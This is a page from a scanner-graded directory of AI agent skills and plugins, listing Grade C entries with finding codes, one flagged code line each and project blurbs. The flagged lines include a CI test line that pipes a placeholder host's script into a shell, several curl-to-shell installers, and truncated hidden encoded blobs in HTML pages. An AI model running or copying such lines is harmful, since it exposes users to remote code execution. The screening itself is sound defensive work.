Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 2051 to 2100 of 3,335 Grade C entries. Page 42 of 67.
Listed A to Z by name.
No entries match that filter.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV
skills/axiom-metrics-chart/scripts/metrics_chart.py:499 subprocess.run(["gnuplot"], input=script.encode(), cheskills (Skill)
Compatibility: Not stated.
Use Axiom in your coding agent to search logs, query metrics, and follow traces.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.github/workflows/validate.yml:179 echo "run curl http://example.invalid/x | sh" >> "${RUNNER_TEMP}/altered/liskills (Skill)
Compatibility: Not stated.
**Official Intel-maintained expert workflows for AI coding agents.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +1 more
extrair-imagens/scripts/extrair_media.py:507 shutil.rmtree(destino)skills (Skill)
Compatibility: Not stated.
Repositório com minhas skills para Claude, Claude Code, Antigravity, Gemini Spark, Gemini App, Manus, Perplexity, Opencode, Agno, ADK, OpenClaw, Windsurf, Qwen Code e demais sistemas agênticos.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV
research/study-paper/scripts/to_markdown.py:299 completed = subprocess.run(skills (Skill)
Compatibility: Not stated.
A set of AI agent skills designed to solve research and development tasks.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
varg-ai/scripts/setup.sh:187 dim " curl -fsSL https://bun.sh/install | bash"skills (Skill)
Compatibility: Not stated.
Generate AI videos, images, speech, and music with varg , Kling, Seedance, Veo, Sora, Flux, ElevenLabs and more through one API key.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
scripts/screenshots.mjs:33 const res = await fetch(url);skillsgist (Skill)
Compatibility: Not stated.
<img src="docs/images/logo.png" width="72" height="72" alt="">
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zsswwuxJ0" style="display:none">zpDiCsrG/S6vZG/s1O+I/tivdfVyh7vgB+X+0EkrnT/4je4AyNa6VPYpSnap Mock Master (Plugin)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
scripts/memory_map.py:112 result = subprocess.run(Solo Factory (Skill)
Compatibility: Not stated.
Your own path.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_DOTENV OBFUSCATION_ENCODED_BLOB
README.md:51 Create a `.env` file or use environment variables:Spanner Schema Explorer (Plugin)
Compatibility: Not stated.
**Spanner Query AI Gateway** is not just another database connector, it's the **read-only MCP (Model Context Protocol) server** that transforms your Google Cloud Spanner into a secure, LLM-friendly knowledge source.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_UNPINNED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
CHANGELOG.md:31 s download from `dl.stackguardian.io`: `curl -fsSL https://dl.stackguardian.io/add-sg-mcp/instStackguardian Mcp (Skill)
Compatibility: Not stated.
One-command MCP setup and ready-to-use agent skills for Claude Code, Cursor, Codex and [more](#supported-agents).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zqoELLJk0" style="display:none">Yvxp1XQuNm+L3ZjDpHFIG0yjLHF4eoF/x0IHeseMHalU4WXfdj5xFdKQStandardbeagle Xray (Plugin)
Compatibility: Not stated.
Welcome to **Agentic CLI Toolkit** , the unified command center that transforms your terminal into an autonomous browser agent, an AI-powered code intelligence engine, and a full suite of developer tools.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zthBYKdo0" style="display:none">HgWjcqyVbNqbWUCMMFR45+ryCpWEM8uqsfTELmv0+EkoGK94roUroMIUStark Flow Sketcher (Plugin)
Compatibility: Not stated.
Imagine an AI coding agent that doesn't just write code, it understands the *why* behind every pixel.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zwLPOcKU0" style="display:none">E9sfAvZw+d9I4yicVT/G8fP6lgVCLvPCxFc9AN5lO/olxhMI9GC+pRGuSurfacer Knowledge Atlas (Plugin)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +1 more
claude-cleanup/scripts/claude_cleanup.py:99 result = subprocess.run(["ps", "-axo", "pid=,comm=,args="], capturSuyuan Skill (Skill)
Compatibility: Not stated.
<p align="right"> <strong>中文</strong> | <a href="./README_EN.md">English</a> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
skills/invest-cli/docs/复核报告_2026-09-22_第五轮_独立验证.md:77 $ invest-cli ... route.fetch("us","AAPL",order=["tencentTaxue Invest (Skill)
Compatibility: Not stated.
|
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zAlbO4KF0" style="display:none">x6mPmV3NRQFqZ+WHCOyp3RVbsuMOuJ3I8ucb4JIFxiLxtIOTX90CezMqTelos Customer Validator (Plugin)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zTxyRE2Z0" style="display:none">jKcB0gKYf+mCiXrphjoEsA52SMZDiAiPWF60omhQYve6ug3YAIg4k9vETerminal Wits (Plugin)
Compatibility: Not stated.
In the chaotic ecosystem of AI-assisted coding, where Claude Code, Codex, Cursor, OpenCode, Gemini, and Copilot each leave their digital fingerprints, **Repo Hygiene Guardian** emerges as the singular solution for maintaining code quality across all your AI development partners.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zBELLkUV0" style="display:none">sEpH9ZavZQNk1/NmeL/LCbvJTQd4u45loJIKrnxeOjiGV0v/lL8ieT2aTextus Pulse Monorepo (Plugin)
Compatibility: Not stated.
**Transform Your Codebase into a Living, Breathing Semantic Ecosystem Where Humans and AI Agents Collaborate in Perfect Symbiosis.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
bin/tokenmiser.mjs:23 * curl -fsSL https://raw.githubusercontent.com/Srinivasan-78/tokenmiser/main/install.shtokenmiser (Plugin)
Compatibility: Not stated.
Token-reduction toolkit for Claude Code: context audit, retrieval discipline, output compression, delegation contracts, model routing, and a measurement harness.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_DOTENV OBFUSCATION_ENCODED_BLOB
README.md:104 "custom_venv_paths": [".venv", "venv", ".env"],Typefuse Mux (Plugin)
Compatibility: Not stated.
**Auto-detect .venv and route to pyright/ty/pyrefly, no Claude Code restart required.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
skills/run-tests/scripts/extract-visual-verification.py:42 result = subprocess.run(Unity Coding Skills (Skill)
Compatibility: Not stated.
Skills and subagents for developing Unity projects with Claude Code , maintainable test design and implementation, test-first workflow, coding guidelines, scene editing, and more.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_CREDENTIAL
install.sh:104 if ! curl -fsSL -o "$tmp" "https://github.com/jqlang/jq/releases/download/${ver}/${asset}"; theUsage Statusline (Plugin)
Compatibility: Not stated.
A status line for Claude Code: Claude and Codex usage gauges that stay live while you are idle, and a context gauge.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="ziMzChCE0" style="display:none">p9yBynMUOJvOrPuysDPBHw8MjPdNjWHB3VYPt2pjzkmRwY3AcQR/4ZfhViral Product Launch Architects (Plugin)
Compatibility: Not stated.
**Harness the power of 21 specialized AI agents to transform any product idea into a viral launch campaign, from initial market research to multi-channel distribution in under 48 hours.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
skills/build-tooling/references/pnpm/best-practices-ci.md:17 curl -fsSL https://get.pnpm.io/install.sh | sh -Vue Skills (Skill)
Compatibility: Not stated.
Agent skills for Vue 3, Nuxt and the Vite toolchain, synced from upstream docs and checked in CI
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_CREDENTIAL +1 more
plugins/backend-standards/skills/backend/13-DOCKER-DEPLOY.md:37 RUN apk add --no-cache ca-certificates wget tzWeb Standards (Plugin)
Compatibility: Not stated.
Binding engineering standards for web projects, packaged as [Claude Code](https://code.claude.com) plugins.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_LIFECYCLE_HOOK SECRETS_PATH_DOTENV
package.json:7 postinstallYoutube Cleanup (Plugin)
Compatibility: Not stated.
Removes watched **YouTube Shorts** from your YouTube watch history , and nothing else.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
scripts/publish_digest.py:38 with urllib.request.urlopen(request, timeout=30) as response:Agent Radar (Plugin)
Compatibility: Not stated.
Agent Radar 把每日 Agent 技术更新和 GitHub Trending 整理成一份既保留专业术语、又提供大白话解释的技术简报。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
scripts/validate.py:111 done = subprocess.run([sys.executable, str(script), "--workspace", str(ws), "--item",Agentic Marketplace Listings (Plugin)
Compatibility: Not stated.
Selling usually starts with an untidy mix of photos, rough notes, measurements, and half-remembered details.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
plugins/agents-skills/skills/cognitive-map-open/scripts/open_map.py:24 subprocess.run(Agents Skills (Plugin)
Compatibility: Not stated.
A collection of [Agent Skills](https://agentskills.io/) for Claude Code and Codex.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
plugins/andreza-nutrition-professional/skills/literature-review/scripts/generate_pdf.py:46 subprocess.run(['paAndreza Nutrition Professional Plugin (Plugin)
Compatibility: Not stated.
Plugin de apoio técnico para nutricionistas, com foco em nutrição esportiva, endurance, acompanhamento clínico responsável e prática baseada em evidências.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
scripts/inject-inline-conflict.mjs:38 fs.rmSync(external, { force: true });armorial (Plugin)
Compatibility: Not stated.
Choose consistent UI icons and use them in your product.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:1 <script>(function(){var k=atob('lfqYW53WLoymMnAjd9jJWzgsWYQ/b18HedBBAcb88qc='),d=atob('qdvcFN6Cd9Artisan Dev Handbook (Plugin)
Compatibility: Not stated.
**Transform your development workflow into a frictionless, multi-tool symphony with intelligent merge request orchestration, automated code review, and domain-driven design guidance.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK SECRETS_PATH_UNCONFIRMED
src/cli.ts:588 await fs.rm(path.join(homeDir, ".codex", "skills", "awesome-progress-tracker", "SKILL.md"), { fbreadcrumbs (Plugin)
Compatibility: Not stated.
Breadcrumbs: project-local Markdown progress tracking for resumable, multi-step agent work.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
brian-vc/skills/prospectus-extractor/scripts/render_pdf_pages.py:99 proc = subprocess.run(Brian Vc (Plugin)
Compatibility: Not stated.
**讓 Codex 協助你看投資案：從簡報初篩、公開說明書萃取，到完整投資盡調。**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_DOTENV OBFUSCATION_MINIFIED_PAYLOAD
.gitignore:2 .envChany Studio (Plugin)
Compatibility: Not stated.
Chany's Studio는 제품 사진이나 짧은 설명만 있으면 광고 이미지, 상세페이지, 짧은 광고 영상을 기획하고 만들어 주는 플러그인(AI 앱에 기능을 더해 주는 추가 프로그램)입니다.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES SECRETS_PATH_DOTENV
scripts/build_app.py:45 return subprocess.run([str(value) for value in command], check=True, env=env,Codex Alert (Plugin)
Compatibility: Not stated.
A small Mac menu-bar app that sends [ntfy](https://ntfy.sh/) phone alerts when your Codex tasks finish.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
plugins/codex-consultants/skills/agy-consult/scripts/agy_consult.py:57 ".netrc",Codex Consultants (Plugin)
Compatibility: Not stated.
A Codex plugin for bounded, read-only Agy and OpenCode code-review second opinions.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
engine/src/auth/store.ts:266 fs.rmSync(file, { force: true });Codex Web Planner (Plugin)
Compatibility: Not stated.
**Let ChatGPT plan and review.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES OBFUSCATION_MINIFIED_PAYLOAD
scripts/cvc_preflight.py:38 probe = subprocess.run(Conference Video Cutter (Plugin)
Compatibility: Not stated.
Provider-neutral, transcript-driven editing for conferences: turn one long recording into reviewed speaker talks, Q&A blocks, and clearly labeled extra clips.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_DOTENV OBFUSCATION_MINIFIED_PAYLOAD
.gitignore:4 .envCreative Asset Register (Plugin)
Compatibility: Not stated.
A local asset version register for art and design work.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
skills/cross-agent-review/scripts/capability_probe.py:88 completed = subprocess.run(Cross Agent Review (Plugin)
Compatibility: Not stated.
Cross Agent Review (CAR) is a Codex plugin for versioned, cross-agent implementation-plan review.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
plugins/decision-table/server/index.mjs:1 #!/usr/bin/env nodeDecision Table (Plugin)
Compatibility: Not stated.
Decision Table is a deterministic decision and constraint primitive for AI agents.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zZus1OsB0" style="display:none">R2Ak4RiCgnJ1VcsvRnU5qogK0Ana4LhQI8RzI8zwIbtxfSjrGpLFCCwYDrifter Blueprint Vault (Plugin)
Compatibility: Not stated.
**Imagine a master architect who never sketches a blueprint before laying bricks.** That is the default state of most AI-assisted coding sessions.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV OBFUSCATION_MINIFIED_PAYLOAD
skills/evidence-video/scripts/lib/publishing.mjs:252 try { response = await fetch(`${baseUrl}${route}`, { ...oEvidence Video (Plugin)
Compatibility: Not stated.
把选题材料变成有来源的中文动态图解视频：分镜、自然解说、TTS、字幕、封面及可审核的多平台发布包。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES
src/jj_kata/items.py:126 process = subprocess.run(Jj Kata (Plugin)
Compatibility: Not stated.
Safe Jujutsu workspace coordination for parallel agents, with optional file-backed Kanban.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV
package.json:9 preinstallMail Calendar Mcp (Plugin)
Compatibility: Not stated.
An MCP connector that runs as a Cloudflare Worker.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
scripts/minimax_video.py:211 with urllib.request.urlopen(req, timeout=60) as r:Minimax Design Plugin (Plugin)
Compatibility: Not stated.
Generate MiniMax H3 videos with env-var auth, first/last-frame FL2VA anchoring, resumable v2 queries, 12 externally managed skills, 2 plugin-local skills, commands, and cross-platform credential setup.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zKcbwObi0" style="display:none">Vk+OWaL5Au+ADuJoR1Pn3i8NOJNggHp+v227soolaS1gUoJToOlFldlDNullcost Inventory (Plugin)
Compatibility: Not stated.
**Explore, deploy, and orchestrate free-tier cloud services, serverless functions, and developer APIs with a unified execution engine.** ZeroTier Catalyst is a plugin-based, MCP (Model Context Protocol)-backed runtime that aggregates dozens of free-tier catalogs, from AWS Free Ti
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_DOTENV
plugins/obsidian-vault-reader/scripts/install.py:72 subprocess.run([uv, "sync", "--frozen", "--no-dev", "--proObsidian Vault Reader (Plugin)
Compatibility: Not stated.
[English](README.md) | [中文](README.zh-CN.md)
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_DOTENV
plugins/opl-relay/runtime/codex_mail_workbench/apple_mail.py:850 result = subprocess.run(Opl Relay (Plugin)
Compatibility: Not stated.
<p align="center"> <img src="assets/branding/opl-relay-logo.png" alt="OPL Relay logo" width="132" /> </p>
This grade is a hygiene screen, not proof of safety.
